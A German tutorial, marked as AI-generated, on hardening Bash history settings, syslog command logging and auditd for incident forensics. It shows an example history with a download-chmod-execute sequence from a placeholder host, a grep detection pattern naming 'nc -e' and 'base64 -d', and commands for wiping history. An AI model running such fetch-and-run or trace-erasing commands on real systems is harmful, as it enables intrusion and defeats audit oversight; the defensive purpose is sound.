Bash-History verwalten und fuer Forensik auswerten
AI generated
$_
#!/
Bash · Forensik · Security · Linux
Bash-History verwalten
und nach einem Sicherheitsvorfall forensisch auswerten

Die Bash-History ist nach einem Sicherheitsvorfall oft die erste Datenquelle, die ein Administrator prueft. Richtig konfiguriert mit HISTFILE, HISTSIZE und HISTTIMEFORMAT liefert sie eine Zeitleiste ausgefuehrter Befehle. Wer sich aber allein darauf verlaesst, uebersieht, dass jeder Nutzer mit Shell-Zugriff seine eigene History jederzeit loeschen oder manipulieren kann. Deshalb gehoert auditd als unabhaengige Ergaenzung in jede ernsthafte Haertung.

16 Min. Lesezeit HISTFILE · HISTTIMEFORMAT · auditd Bash 4.x · 5.x · Linux

1. Was die Bash-History ist und wozu sie im Ernstfall dient

Bash fuehrt waehrend jeder interaktiven Sitzung eine Liste der eingegebenen Befehle im Speicher und schreibt diese Liste beim regulaeren Beenden der Shell in eine Datei, die in der Variable HISTFILE hinterlegt ist, standardmaessig ~/.bash_history. Fuer den einzelnen Nutzer ist das zunaechst nur Komfort: mit der Pfeiltaste nach oben oder Ctrl+R laesst sich ein frueherer Befehl schnell wiederfinden, ohne ihn erneut zu tippen.

Fuer die Sicherheit eines Systems ist dieselbe Datei gleichzeitig eine der ergiebigsten Quellen bei der Aufklaerung eines Vorfalls, weil sie in Klartext zeigt, welche Befehle ein Nutzer oder ein Angreifer mit einer interaktiven Shell tatsaechlich abgesetzt hat. Ob diese Quelle im Ernstfall tatsaechlich etwas hergibt, entscheidet sich aber schon lange vorher, naemlich bei der Konfiguration von HISTFILE, HISTSIZE und HISTTIMEFORMAT, bevor ueberhaupt ein Vorfall eintritt.

2. HISTFILE, HISTSIZE und HISTFILESIZE richtig konfigurieren

Zwei Variablen steuern, wie viele Befehle Bash tatsaechlich vorhaelt: HISTSIZE begrenzt die Anzahl der Eintraege im Arbeitsspeicher der laufenden Sitzung, HISTFILESIZE begrenzt die Anzahl der Zeilen, die beim Schreiben in HISTFILE tatsaechlich auf der Platte landen. Die Standardwerte vieler Distributionen liegen bei nur 500 bis 1000 Zeilen, was fuer eine forensische Auswertung meist viel zu wenig ist, weil relevante Befehle laengst ueberschrieben sind, bevor jemand nachschaut.

Fuer produktive Server empfiehlt sich, HISTSIZE und HISTFILESIZE deutlich hoeher zu setzen, etwa auf 100000 beziehungsweise 200000 Zeilen, und diese Einstellung zentral in /etc/profile.d/ statt in der individuellen ~/.bashrc jedes Nutzers zu hinterlegen. So gilt die Haertung fuer alle interaktiven Shells eines Systems, unabhaengig davon, ob ein einzelner Nutzer seine persoenliche Konfiguration je angefasst hat.


# /etc/profile.d/history-hardening.sh
# System-weite Baseline fuer alle interaktiven Bash-Sitzungen

export HISTSIZE=100000
export HISTFILESIZE=200000

# Zeitstempel vor jedem history-Eintrag mitschreiben
export HISTTIMEFORMAT='%F %T  '

# Keine Befehle ignorieren -- fuer Forensik zaehlt jede Zeile
unset HISTCONTROL
unset HISTIGNORE

3. HISTTIMEFORMAT: Zeitstempel fuer die forensische Auswertung aktivieren

Ohne HISTTIMEFORMAT speichert Bash zu jedem Befehl nur den Befehlstext selbst, keinerlei Zeitangabe. Eine History ohne Zeitstempel ist fuer eine Zeitleiste kaum brauchbar, weil sich ein verdaechtiger Befehl nicht in Relation zu Login-Zeiten aus auth.log oder anderen Log-Quellen setzen laesst. Intern schreibt Bash bei aktivem HISTTIMEFORMAT vor jeder Befehlszeile einen Kommentar mit dem Unix-Epoch-Zeitstempel in die Datei, den history dann gemaess dem gesetzten Format anzeigt.

Wichtig ist, dass HISTTIMEFORMAT nur fuer Befehle wirkt, die geschrieben werden, waehrend die Variable gesetzt ist. Bereits vorhandene, ohne Zeitstempel geschriebene Zeilen in HISTFILE bleiben unveraendert und lassen sich nachtraeglich nicht mit einer Uhrzeit versehen. Die Variable muss deshalb von Beginn jeder Sitzung an aktiv sein, etwa ueber die zentrale Profildatei aus dem vorherigen Abschnitt, damit sie im Ernstfall tatsaechlich etwas bringt.


export HISTTIMEFORMAT='%F %T  '
history | tail -5
#   42  2026-08-04 09:12:03  curl -o payload http://example.invalid/x
#   43  2026-08-04 09:12:07  chmod +x payload
#   44  2026-08-04 09:12:08  ./payload

# Zeitstempel und Befehl fuer ein Skript extrahieren
history | awk '{print $2, $3, $0}' | sort

4. HISTCONTROL und HISTIGNORE: Luecken in der Aufzeichnung vermeiden

HISTCONTROL=ignorespace sorgt dafuer, dass Bash Befehle nicht aufzeichnet, die mit einem Leerzeichen beginnen, ein von vielen Nutzern bewusst genutzter Trick, um sensible Befehle wie Passwort-Uebergaben auf der Kommandozeile aus der History fernzuhalten. Fuer die persoenliche Bequemlichkeit ist das nachvollziehbar, fuer die forensische Nachvollziehbarkeit eines Servers ist es genau die Luecke, die ein Angreifer ausnutzt, wenn er weiss, dass diese Option aktiv ist.

Auf produktiven Systemen, bei denen Nachvollziehbarkeit wichtiger ist als individueller Komfort, sollten HISTCONTROL und HISTIGNORE deshalb unauffaellig, aber bewusst deaktiviert bleiben, wie im Beispiel-Skript weiter oben mit unset gezeigt. Wer stattdessen Komfort priorisiert, sollte sich zumindest bewusst machen, welche Befehle durch die eigene Konfiguration nicht in der History landen, um diese Luecke bei einer spaeteren Auswertung nicht zu uebersehen.

5. Bash-History nach einem Sicherheitsvorfall forensisch auswerten

In der Praxis beginnt die Auswertung damit, die .bash_history aller Nutzer einzusammeln, einschliesslich root und aller Service-Accounts mit interaktiver Shell, und sie mit den Zeitstempeln aus auth.log, last und gegebenenfalls Anwendungs-Logs zu einer gemeinsamen Zeitleiste zu verschmelzen. Auffaellige Muster sind typischerweise Downloads mit curl oder wget, gefolgt von chmod +x und direkter Ausfuehrung, base64-dekodierte Payloads oder ploetzliche Rechteausweitung ueber sudo mit ungewoehnlichen Zielbefehlen.

Ein oft uebersehener Punkt betrifft die Reihenfolge der Datenerhebung: Bash schreibt die History standardmaessig erst beim regulaeren Beenden der Shell in die Datei, eine noch laufende interaktive Sitzung haelt ihre juengsten Befehle also ausschliesslich im Arbeitsspeicher des Shell-Prozesses. Bei einer laufenden Incident-Response-Untersuchung sollte deshalb, wenn moeglich, zuerst mit history -a ein sofortiges Nachschreiben in die Datei erzwungen werden, bevor eine verdaechtige Sitzung terminiert wird und diese Daten verloren gehen.


#!/usr/bin/env bash
set -euo pipefail

# Alle Bash-Histories des Systems sammeln und nach Zeitstempel sortieren
for f in /root/.bash_history /home/*/.bash_history; do
  [[ -r "$f" ]] || continue
  echo "=== $f ==="
  grep -E 'curl|wget|base64 -d|chmod \+x|nc -e' "$f" || true
done

# Laufende Sitzung sofort in die Datei schreiben, bevor sie beendet wird
history -a

6. Grenzen der Bash-History: Manipulation und Loeschung

Bash-History ist im Kern ein clientseitiges, vom Nutzer selbst kontrolliertes Protokoll. Ein Nutzer mit Shell-Zugriff kann HISTFILE=/dev/null setzen, die Variable komplett mit unset HISTFILE entfernen, mit history -c die im Speicher gehaltene Liste loeschen oder die Datei direkt mit rm oder shred entfernen. Wer sich nach einem Vorfall allein auf die Bash-History als Beweismittel verlaesst, verlaesst sich auf eine Quelle, die genau die Person kontrolliert, deren Handeln aufgeklaert werden soll.

Selbst die vorher beschriebene Haertung mit HISTSIZE, HISTFILESIZE und HISTTIMEFORMAT laesst sich innerhalb der eigenen Sitzung jederzeit ueberschreiben, ein einfaches export HISTFILE=/dev/null zu Beginn einer Sitzung genuegt, um jede vorherige Voreinstellung zu unterlaufen. Diese Massnahmen erhoehen also die Huerde fuer eine oberflaechliche Spurenverwischung, verhindern aber keinen Angreifer, der gezielt vorgeht und weiss, wonach er suchen muss.

7. Command-Logging in Syslog: PROMPT_COMMAND als Ergaenzung

Eine gaengige Ergaenzung ist, jeden abgesetzten Befehl zusaetzlich per PROMPT_COMMAND an den Syslog zu senden. PROMPT_COMMAND wird von Bash vor jeder Anzeige des Prompts ausgefuehrt, also faktisch nach jedem abgeschlossenen Befehl, und kann mit logger eine Zeile mit Nutzer, Arbeitsverzeichnis und letztem Befehl in ein Systemprotokoll schreiben, auf das der normale Nutzer typischerweise keinen Schreibzugriff hat.

Der entscheidende Vorteil gegenueber der reinen Bash-History ist, dass /var/log ueblicherweise root-geschuetzt ist, waehrend die eigene .bash_history dem Nutzer selbst gehoert. Der Haken: PROMPT_COMMAND ist ebenfalls nur eine gewoehnliche Shell-Variable, die derselbe Nutzer in seiner eigenen Sitzung ueberschreiben oder leeren kann, weshalb diese Massnahme nur system-weit erzwungen echten Mehrwert bringt und selbst dann noch von der Shell-Ebene abhaengt.


# /etc/profile.d/history-syslog.sh
export PROMPT_COMMAND='logger -p local1.notice -t bash_audit \
  "user=$(whoami) pwd=$(pwd) cmd=$(history 1 | sed "s/^[ ]*[0-9]*[ ]*//")"'

8. auditd als unabhaengige Ergaenzung zur Bash-History

Das Linux Audit Framework auditd setzt eine Ebene tiefer an als jede Shell-Konfiguration: es beobachtet execve()-Aufrufe direkt im Kernel und protokolliert damit jeden gestarteten Prozess unabhaengig davon, welche Shell, welches Skript oder welcher Interpreter ihn ausgeloest hat. Weder unset HISTFILE noch ein manipuliertes PROMPT_COMMAND koennen diese Aufzeichnung umgehen, weil sie ausserhalb der Kontrolle des Nutzerprozesses stattfindet.

Besonders wertvoll fuer die Zuordnung ist das Feld AUID (Audit User ID), das den urspruenglichen Login-Nutzer festhaelt und sich auch durch sudo oder su nicht aendert, waehrend die klassische effektive Nutzer-ID danach variieren kann. Fuer regulierte Umgebungen oder ernsthafte Incident-Response-Faehigkeit ist auditd deshalb kein Ersatz, sondern eine notwendige Ergaenzung zur Bash-History, die operativ zwar mehr Aufwand fuer Log-Rotation und Auswertung bedeutet, dafuer aber tatsaechlich belastbare Beweise liefert.


# Jede Prozessausfuehrung auf x86_64 protokollieren
auditctl -a always,exit -F arch=b64 -S execve -k exec_log

# Auswertung: alle protokollierten Befehle eines Nutzers seit einem Zeitpunkt
ausearch -k exec_log -ua 1000 --start 08/04/2026 08:00:00 | aureport -i

9. Bash-History, Syslog-Forwarding und auditd im Vergleich

Keines der drei Verfahren ersetzt die anderen vollstaendig: Bash-History ist bequem und ohne Zusatzsoftware sofort verfuegbar, aber vom Nutzer manipulierbar. Syslog-Forwarding per PROMPT_COMMAND erhoeht die Huerde, bleibt aber shell-gebunden und damit umgehbar. auditd ist kernelseitig robust, benoetigt aber Konfigurationsaufwand und eigene Log-Pflege. Fuer belastbare forensische Aussagen sollten alle drei Ebenen kombiniert werden, mit auditd als massgeblicher Quelle.

Mechanismus Manipulierbar durch Nutzer Speicherort Typischer Einsatz
Bash-History (HISTFILE) Ja, jederzeit durch den Nutzer selbst ~/.bash_history Erste schnelle Sichtung, Komfortfunktion
Syslog-Forwarding (PROMPT_COMMAND) Ja, innerhalb der eigenen Sitzung /var/log, root-geschuetzt Zusaetzliche Huerde, shell-gebunden
auditd (execve-Audit) Nein, Kernel-Ebene /var/log/audit/audit.log Belastbare forensische Beweise, Compliance
Zentrales SIEM/Log-Forwarding Nein, sofort extern gespiegelt Externes System, ausserhalb des Hosts Manipulationssicherheit auch bei Root-Kompromittierung

Mironsoft

Shell-Automatisierung, DevOps-Tooling und Deployment-Infrastruktur

Shell-Skripte, die in der Produktion zuverlässig laufen?

Wir analysieren bestehende Bash-Skripte, erkennen fragile Muster und ersetzen sie durch robuste Bash-Patterns: mit vollständiger Fehlerbehandlung, Logging und sicherer Parallelisierung für euren Deployment-Stack.

Code-Review

ShellCheck-Analyse und manuelle Prüfung auf kritische Bash-Pattern-Verstöße.

Refactoring

Fehlerbehandlung, Logging und sichere Dateioperationen nachrüsten.

CI-Integration

ShellCheck und BATS in Pipelines integrieren und Regressionstests aufbauen.

10. Zusammenfassung

Bash-History und Forensik: Das Wichtigste auf einen Blick

Konfiguration

HISTSIZE, HISTFILESIZE und HISTTIMEFORMAT gehoeren zentral in /etc/profile.d, nicht in die individuelle .bashrc jedes Nutzers.

Forensik

Alle .bash_history-Dateien einsammeln, mit auth.log korrelieren und mit history -a laufende Sitzungen vor der Auswertung sichern.

Grenzen

Jeder Nutzer mit Shell-Zugriff kann HISTFILE leeren, umleiten oder loeschen. History ist kein manipulationssicheres Beweismittel.

Ergaenzung

auditd protokolliert execve() auf Kernel-Ebene und laesst sich von der Shell aus nicht abschalten, ideal fuer belastbare Nachweise.

11. FAQ: Bash-History und Forensik: Das Wichtigste auf einen Blick

1Wo liegt die Bash-History standardmaessig?
In der Datei, auf die HISTFILE zeigt, standardmaessig ~/.bash_history im Home-Verzeichnis des jeweiligen Nutzers. Root hat eine eigene History unter /root/.bash_history.
2Wie viele Befehle speichert Bash in der History?
Das steuern HISTSIZE fuer die Anzahl der Eintraege im Speicher der laufenden Sitzung und HISTFILESIZE fuer die Anzahl der Zeilen, die beim Schreiben auf der Platte erhalten bleiben. Standardwerte liegen oft bei nur 500 bis 1000.
3Warum sollte ich HISTTIMEFORMAT setzen?
Ohne HISTTIMEFORMAT speichert Bash keinerlei Zeitangabe zu einem Befehl. Fuer eine forensische Zeitleiste ist die History ohne Zeitstempel praktisch wertlos, weil sich Befehle nicht zeitlich einordnen lassen.
4Kann ein Nutzer seine Bash-History manipulieren?
Ja, jederzeit. Mit unset HISTFILE, HISTFILE=/dev/null, history -c oder direktem Loeschen der Datei kann jeder Nutzer mit Shell-Zugriff seine eigene History unbrauchbar machen.
5Was ist der Unterschied zwischen HISTSIZE und HISTFILESIZE?
HISTSIZE begrenzt die Anzahl der Eintraege im Arbeitsspeicher der laufenden Sitzung. HISTFILESIZE begrenzt die Anzahl der Zeilen, die beim Schreiben in die Datei tatsaechlich erhalten bleiben.
6Warum reicht Bash-History allein nicht fuer eine Forensik-Untersuchung?
Weil sie clientseitig gefuehrt wird und von der untersuchten Person selbst kontrolliert werden kann. Fuer belastbare Beweise braucht es eine kernelseitige, vom Nutzer nicht abschaltbare Quelle wie auditd.
7Was macht auditd anders als Bash-History?
auditd protokolliert execve()-Aufrufe direkt im Linux-Kernel, unabhaengig von der verwendeten Shell. Es laesst sich nicht durch Shell-Variablen wie HISTFILE oder PROMPT_COMMAND umgehen.
8Wie hole ich die neuesten Befehle aus einer noch laufenden Sitzung?
Mit history -a in der laufenden Sitzung wird der bisher nur im Speicher gehaltene Verlauf sofort in HISTFILE geschrieben, statt erst beim regulaeren Beenden der Shell.
9Was bedeutet HISTCONTROL=ignorespace?
Befehle, die mit einem Leerzeichen beginnen, werden nicht in der History gespeichert. Das wird oft genutzt, um sensible Befehle zu verstecken, was fuer forensische Nachvollziehbarkeit eine bewusste Luecke darstellt.
10Sollte ich HISTCONTROL und HISTIGNORE auf Servern aktivieren?
Auf Systemen, bei denen Nachvollziehbarkeit wichtig ist, sollten beide Variablen eher unset bleiben, damit keine Befehle unbeabsichtigt aus der Aufzeichnung herausfallen.